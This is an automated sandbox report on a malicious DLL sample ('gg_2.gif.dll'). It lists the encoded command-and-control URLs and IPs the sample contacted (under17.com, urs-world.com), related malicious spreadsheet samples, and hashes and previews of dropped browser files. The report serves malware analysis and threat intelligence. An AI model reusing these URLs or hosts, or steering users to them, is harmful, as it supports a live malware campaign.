https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	{297C5619-96F7-11EB-90E6-ECF4BB82F7E0}.dat.12.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/ukrainekonflikt-maas-warnt-russland-und-ukraine-	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/nachrichten/international/admirale-begehren-auf-gegen-das-verr	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/news/other/ressourcen-f	msnpopularnow[1].json.13.dr	false		high
https://www.msn.com/de-ch/finanzen/top-stories/datenleck-bei-facebook-wachstum-z	msnpopularnow[1].json.13.dr	false		high
http://under17.com/joomla/7oXts9AORFsG5/i189ZNd4/wxa5zyBcqStFNvDeNtF1KxB/E9musqCc5L/b_2FSJrdUWwLXBbJ	{4554B9A3-96F7-11EB-90E6-ECF4BB82F7E0}.dat.25.dr	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/news/other/pentagon-usa-beobachten-russlands-aktivit	msnpopularnow[1].json.13.dr	false		high
http://feross.org	GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js0.13.dr	false		high
http://under17.com/joomla/YJmZr0WJXI7/eZbfNM7hm_2BBw/atfJcuVF_2B5yHpeRoV9f/p4iYAB3akKupopXr/3YLvELEn	{4D761D34-96F7-11EB-90E6-ECF4BB82F7E0}.dat.25.dr	false	Avira URL Cloud: safe	unknown
http://urs-world.com/joomla/ych84zDRIp_2FF7IaYN0/GQoKhDOBhANEIsf1GP9/YEQ6PJZPGUhJ_2BK96Ghup/vPTPDIHk	{5B8FC2C2-96F7-11EB-90E6-ECF4BB82F7E0}.dat.38.dr	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.243.114.196	under17.com	Netherlands		31400	ACCELERATED-ITDE	true
185.186.244.95	urs-world.com	Netherlands		35415	WEBZILLANL	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	382547
Start date:	06.04.2021
Start time:	09:41:51
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	gg_2.gif.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.winDLL@18/119@10/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 54.3% (good quality ratio 51.8%) Quality average: 79.9% Quality standard deviation: 28.3%
HCA Information:	Successful, ratio: 86% Number of executed functions: 71 Number of non-executed functions: 83
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 104.42.151.234, 92.122.145.220, 13.88.21.125, 184.30.20.56, 40.88.32.150, 88.221.62.148, 13.107.21.200, 204.79.197.200, 40.126.31.136, 40.126.31.3, 40.126.31.142, 20.190.159.133, 40.126.31.2, 40.126.31.9, 20.190.159.135, 40.126.31.5, 20.190.160.9, 20.190.160.7, 20.190.160.72, 20.190.160.131, 20.190.160.1, 20.190.160.68, 20.190.160.5, 20.190.160.70, 131.253.33.200, 13.107.22.200, 20.50.102.62, 92.122.213.247, 92.122.213.194, 93.184.221.240, 2.20.142.210, 2.20.142.209, 152.199.19.161, 52.255.188.83, 13.64.90.137, 52.155.217.156, 20.54.26.129, 20.190.160.132, 20.190.160.73, 20.190.160.71, 20.190.160.75, 20.190.160.134, 20.190.160.2, 20.190.160.8, 20.190.160.67, 40.126.31.135, 20.190.159.132, 20.190.159.138, 40.126.31.141, 40.126.31.139, 40.126.31.143, 40.126.31.137, 40.126.31.6 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, www.tm.lg.prod.aadmsa.akadns.net, fs-wildcard.microsoft.com.edgekey.net, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, login.live.com, audownload.windowsupdate.nsatc.net, www-bing-com.dual-a-0001.a-msedge.net, hlb.apr-52dd2-0.edgecastdns.net, watson.telemetry.microsoft.com, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, www.tm.a.prd.aadg.akadns.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, cs9.wpc.v0cdn.net, au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, bing.com, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, iecvlist.microsoft.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, go.microsoft.com, cs11.wpc.v0cdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, www2.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, ie9comview.vo.msecnd.net, wu.ec.azureedge.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, login.msa.msidentity.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, www2-bing-com.dual-a-0001.a-msedge.net, go.microsoft.com.edgekey.net, skypedataprdcolwus16.cloudapp.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, ams2.current.a.prd.aadg.trafficmanager.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.243.114.196	KcFVz0y2si.dll	Get hash	malicious	Browse
	bTjvWUTLid.dll	Get hash	malicious	Browse
	KAsJ2r4XYY.dll	Get hash	malicious	Browse
	swlsGbeQwT.dll	Get hash	malicious	Browse
	document-1048628209.xls	Get hash	malicious	Browse
	document-1771131239.xls	Get hash	malicious	Browse
	document-1370071295.xls	Get hash	malicious	Browse
	document-69564892.xls	Get hash	malicious	Browse
	document-1320073816.xls	Get hash	malicious	Browse
	document-184653858.xls	Get hash	malicious	Browse
	document-1729033050.xls	Get hash	malicious	Browse
	document-540475316.xls	Get hash	malicious	Browse
	document-1456634656.xls	Get hash	malicious	Browse
	document-1376447212.xls	Get hash	malicious	Browse
	document-1813856412.xls	Get hash	malicious	Browse
	document-1776123548.xls	Get hash	malicious	Browse
	document-684762271.xls	Get hash	malicious	Browse
	document-1590815978.xls	Get hash	malicious	Browse
	document-66411652.xls	Get hash	malicious	Browse
	document-415601328.xls	Get hash	malicious	Browse
185.186.244.95	document-1048628209.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1771131239.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-69564892.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1813856412.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1776123548.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-647734423.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1579869720.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-806281169.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-839860086.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1061603179.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-909428158.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1822768538.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1952275091.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-583955381.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1312908141.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1612462533.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1669060840.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-203135823.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-1042699213.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico
	document-980795635.xls	Get hash	malicious	Browse	urs-world.com/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
urs-world.com	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.186.244.95
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1729033050.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-895003104.xls	Get hash	malicious	Browse	185.186.244.95
	document-779106205.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1747349663.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
under17.com	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
	document-1590815978.xls	Get hash	malicious	Browse	185.243.114.196
	document-66411652.xls	Get hash	malicious	Browse	185.243.114.196
	document-415601328.xls	Get hash	malicious	Browse	185.243.114.196

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACCELERATED-ITDE	KcFVz0y2si.dll	Get hash	malicious	Browse	185.243.114.196
	bTjvWUTLid.dll	Get hash	malicious	Browse	185.243.114.196
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	BnJvVt951o.exe	Get hash	malicious	Browse	152.89.236.214
	SMtbg7yHyR.exe	Get hash	malicious	Browse	152.89.236.214
	KAsJ2r4XYY.dll	Get hash	malicious	Browse	185.243.114.196
	swlsGbeQwT.dll	Get hash	malicious	Browse	185.243.114.196
	document-1048628209.xls	Get hash	malicious	Browse	185.243.114.196
	document-1771131239.xls	Get hash	malicious	Browse	185.243.114.196
	document-1370071295.xls	Get hash	malicious	Browse	185.243.114.196
	document-69564892.xls	Get hash	malicious	Browse	185.243.114.196
	document-1320073816.xls	Get hash	malicious	Browse	185.243.114.196
	document-184653858.xls	Get hash	malicious	Browse	185.243.114.196
	document-1729033050.xls	Get hash	malicious	Browse	185.243.114.196
	document-540475316.xls	Get hash	malicious	Browse	185.243.114.196
	document-1456634656.xls	Get hash	malicious	Browse	185.243.114.196
	document-1376447212.xls	Get hash	malicious	Browse	185.243.114.196
	document-1813856412.xls	Get hash	malicious	Browse	185.243.114.196
	document-1776123548.xls	Get hash	malicious	Browse	185.243.114.196
	document-684762271.xls	Get hash	malicious	Browse	185.243.114.196
WEBZILLANL	bTjvWUTLid.dll	Get hash	malicious	Browse	185.186.244.95
	document-1048628209.xls	Get hash	malicious	Browse	185.186.244.95
	document-1771131239.xls	Get hash	malicious	Browse	185.186.244.95
	document-69564892.xls	Get hash	malicious	Browse	185.186.244.95
	document-1813856412.xls	Get hash	malicious	Browse	185.186.244.95
	document-1776123548.xls	Get hash	malicious	Browse	185.186.244.95
	document-647734423.xls	Get hash	malicious	Browse	185.186.244.95
	document-1579869720.xls	Get hash	malicious	Browse	185.186.244.95
	document-806281169.xls	Get hash	malicious	Browse	185.186.244.95
	document-839860086.xls	Get hash	malicious	Browse	185.186.244.95
	document-1061603179.xls	Get hash	malicious	Browse	185.186.244.95
	document-909428158.xls	Get hash	malicious	Browse	185.186.244.95
	document-1822768538.xls	Get hash	malicious	Browse	185.186.244.95
	document-1952275091.xls	Get hash	malicious	Browse	185.186.244.95
	document-583955381.xls	Get hash	malicious	Browse	185.186.244.95
	document-1312908141.xls	Get hash	malicious	Browse	185.186.244.95
	document-1612462533.xls	Get hash	malicious	Browse	185.186.244.95
	document-1669060840.xls	Get hash	malicious	Browse	185.186.244.95
	document-203135823.xls	Get hash	malicious	Browse	185.186.244.95
	document-1042699213.xls	Get hash	malicious	Browse	185.186.244.95

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{297C5617-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.76904977404343
Encrypted:	false
SSDEEP:	48:IwkGcprTGwpLVG/ap8YGIpcBGvnZpv7GomqAUPqp9cGo4aqAUAqAUzpmNGWmqAUx:r4ZNZx24WOt9ifH9DzMpLj6ZPBjMpB
MD5:	52D070A3431689C786E24901B46AC1A4
SHA1:	01D8368785DFE6835EF4CD2B5121748170DF2BC3
SHA-256:	34181F65927B4C8AF9CCF2A8A39804EA1BF67B8A0EE46D38D59AE93A982402EC
SHA-512:	1A7924B7C63B22DF97D12C1A3DCFA7EFE3CC994D544D4B52272B33664A5E00AC4CFFAB2253F8A5B951C3B1456BB141061FED035EF7A82965934D3DCC0154FE68
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{4554B9A1-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	50344
Entropy (8bit):	2.002644326335674
Encrypted:	false
SSDEEP:	384:rrOytF5FIFCFKFuFyIZFyYFtFdftFdEPRdn:O
MD5:	AFF33309F1392D6955015982CB277BED
SHA1:	7CA7E4877DE96E1F07CB840E0F12756FA5DF1F79
SHA-256:	AC7D0C025D85280BA3C360192109F262313D71FD93A117073A99C983FD5AA20F
SHA-512:	7A4D508C86BDACE4875B95A652508CDE6B60357D13BB30E01B5C6246789ACE15EBC5F790117A895CF10013E754BD27B8657CEBD57818691553C1DC35CEBE6323
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{5B8FC2C0-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7696992315198818
Encrypted:	false
SSDEEP:	96:rUrZumZDv2H3WHhPtHhpifHhOWUzMHhCcj65IBHiLpB:raZlZj2XWZt3ifQWUzMIcj65IBCLpB
MD5:	7B45FD64DC2681F721F3E42F07E1E00E
SHA1:	CE48A309762ADACB1A13F0CA854A9618752DD05A
SHA-256:	109FC7F8D4B237D0711C67163AB830F6486F50952369DD24EFC0CE130ED0FEA2
SHA-512:	0FB29E947DFC24097F7477E35091220E7C42A09DE536459A28D60E0C6D74A930FABE8162CE3D3AD88ED7F69A9954CD4B7F4EF5DDE2F9345BE58EE3BB4B050FD7
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{297C5619-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	43324
Entropy (8bit):	2.5068842035466607
Encrypted:	false
SSDEEP:	384:ryWXHw8QRu6NCFE97Agf5lf5oTf5N6VbUJ5rc:W55l5I5IxJ
MD5:	43A5A2F1F085ABB4AC6FB08A1FB7759C
SHA1:	347B990E18B6FCA2983B5C8859D859794B30971B
SHA-256:	1EE3D968EAF78E98CE19B70825E72F7BCD11376F627208692F799B96FF58E2CE
SHA-512:	DF143B44DD76973B306C994103FF100709545CE47F050607BF7E34207B0EA857412E0A5ACAA3584986CF68DD7A92B142379CCB221E53D3ABF2A9339AA7ADA4CD
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{4554B9A3-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.8463390897024414
Encrypted:	false
SSDEEP:	96:rvZYQk6lBS7j52dW6MeyGbAgBRGbAgfbA7A:rvZYQk6lk7j52dW6Mey1gBR1gU7A
MD5:	EC9E19B6321574D931F57E7FC88A88C2
SHA1:	DD68436ACBD57FF99506001E2E303B36528469AE
SHA-256:	BD9E147401F67DA1FF6BCF14134303ED5633CAF39436EC6C62B52A9DEABFEF8F
SHA-512:	D96837DE8AD25E3D6D4C2B16DBB1F1F16FA63045674AFC68C0626A4442BC92C15DF3E46B6331D340654F15866F4DA692B2305D57DEE462B767527A5306F72CA2
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{4D761D34-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	modified
Size (bytes):	27864
Entropy (8bit):	1.8243772117528771
Encrypted:	false
SSDEEP:	192:rvZgQ86ekCjA82AIWAxMAdSC5b/RC5bObr:rR5H/8iGHJI1IiH
MD5:	B8C6AAC821775CD87FA9CAC4452A17CD
SHA1:	24515DB074BEC8166B1AD97431C8C2474A04897A
SHA-256:	446586DA30CE20B0D08E3463823E755554C2DCD8CE074EA065D8C6C209211B8C
SHA-512:	855F7CA3D0658F7CEE379C06C3EA17179234BAA7B0165C9C695B15FDE294C83700FABC4B77F7EA04F2F221AE516A97BA61E6D7ED6E5120F145CC29530098BB94
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{5B8FC2C2-96F7-11EB-90E6-ECF4BB82F7E0}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27928
Entropy (8bit):	1.8482918177809553
Encrypted:	false
SSDEEP:	192:rRZzQM6OkJjS2+WDMLSooyVm5RooyVmAtr:rX8XvFR1AOooBooyp
MD5:	9D4B3CDBDFCB87293E3100DF075A0E2F
SHA1:	211A3CB74048C74E82A29701C3366E150C18F409
SHA-256:	A40B4CAA851EB892BEE01CB81149AA00719A6274AD82E13D7418E0890B7B9649
SHA-512:	128BD353BEF4A753FB07E3AF9CFA2EEF781E47FD631F6D0730ABCE8A1B56211A88B16A0139F920666AFA7A93150258ABD6B7AE290A681D99FAB0EAE78D584376
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\po60zt0\imagestore.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	modified
Size (bytes):	5096
Entropy (8bit):	4.534892892006223
Encrypted:	false
SSDEEP:	48:wXLBRh+sCBykteatiBn4KWi1+NKXaYgDehYa3DCu:0Ph+Qhato4xPDehrmu
MD5:	C2A2A7C7CF44BC09ADA4866335E37B1B
SHA1:	D8241782533BB9689A449DE460173853685BD582
SHA-256:	A831E68DA6F776864944FE91375BD17E1147D76969EF06AA187457DCA4B90A01
SHA-512:	A25DE9E49DC50E56D0F382B04F829991E3146D7B1CA1C6D04C0FE9630E2858483053A5B195A8D7CE38190083C922FDF22F1D2CF2870672014D90140716696EFD
Malicious:	false
Preview:	+.h.t.t.p.s.:././.w.w.w...b.i.n.g...c.o.m./.s.a./.s.i.m.g./.f.a.v.i.c.o.n.-.2.x...i.c.o........... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\GiGr-rA9TBhE2c3LJn7PvDweiOo.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	206664
Entropy (8bit):	5.137265787270688
Encrypted:	false
SSDEEP:	6144:1irrzbB3LH7gaV6Z8LAfP0Rp6Izc04YFI:aW
MD5:	4A6B9BF79B6C1520048853F610D7185E
SHA1:	C5D70FF293203737D908818DD263A2FFF777E023
SHA-256:	46F569153841521AA8910124E31B72794ED4FFEFCEFDF4F88B624D6F3DFBEE88
SHA-512:	24BA18A7836F982208844833A0AC03F52AE7EB41E8B5A8F2996BF19376ACC7A70434C94E0FA521F51A71DB70EACDCE3978F2F9039C7C4D63984D0110584FA23F
Malicious:	false
Preview:	(function(n){function t(r){if(i[r])return i[r].exports;var u=i[r]={i:r,l:!1,exports:{}};return n[r].call(u.exports,u,u.exports,t),u.l=!0,u.exports}var i={};return t.m=n,t.c=i,t.d=function(n,i,r){t.o(n,i)\|\|Object.defineProperty(n,i,{enumerable:!0,get:r})},t.r=function(n){typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"});Object.defineProperty(n,"__esModule",{value:!0})},t.t=function(n,i){var r,u;if((i&1&&(n=t(n)),i&8)\|\|i&4&&typeof n=="object"&&n&&n.__esModule)return n;if(r=Object.create(null),t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:n}),i&2&&typeof n!="string")for(u in n)t.d(r,u,function(t){return n[t]}.bind(null,u));return r},t.n=function(n){var i=n&&n.__esModule?function(){return n["default"]}:function(){return n};return t.d(i,"a",i),i},t.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},t.p="",t(t.s=0)})([function(n,t,i){window.SpeechSDK=i(1)},function(n,t,i){"use strict";function r(n){for(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\H_VmuFPRwWZ4UrVl0mPztnf3z5U[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	13897
Entropy (8bit):	7.900268685598436
Encrypted:	false
SSDEEP:	384:hE9ZTKqcnOdNOEX35wsXK/vWqv/CAU7zXwn1sIQcoo43P:hE9oqcOdfX35wsaWqv6HUn1H4P
MD5:	B545C910F9993F7F930513DB793F4EE0
SHA1:	1FF566B853D1C1667852B565D263F3B677F7CF95
SHA-256:	A797D6446620B867248B43792B9AA457B42ADBB7099D9B3129E0D7743DAF67ED
SHA-512:	12A3A9EC217F8B05151D2BDC76B6B2942C86098F1182AD76B7119B959B9937ACFCACC0361188CDF17A629B1D4E76985DFC6AB409939496AF62354AE9FCEB162D
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/H_VmuFPRwWZ4UrVl0mPztnf3z5U.jpg
Preview:	......JFIF.....H.H....!.Exif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:08:01 11:38:22................................................................................................ ..................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-#".Uj..........b.T..Gj.#..E..XD..0...ML...H....i.UN}.p}?:].pE8&O....q.~UOR@l&...m;...jJE....v..8.p...Z..f'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\KC_nX2_tPPyFvVw1RK20Yu1FyDk[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/KC_nX2_tPPyFvVw1RK20Yu1FyDk.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\P3LN8DHh0udC9Pbh8UHnw5FJ8R8.gz[1].js Download File
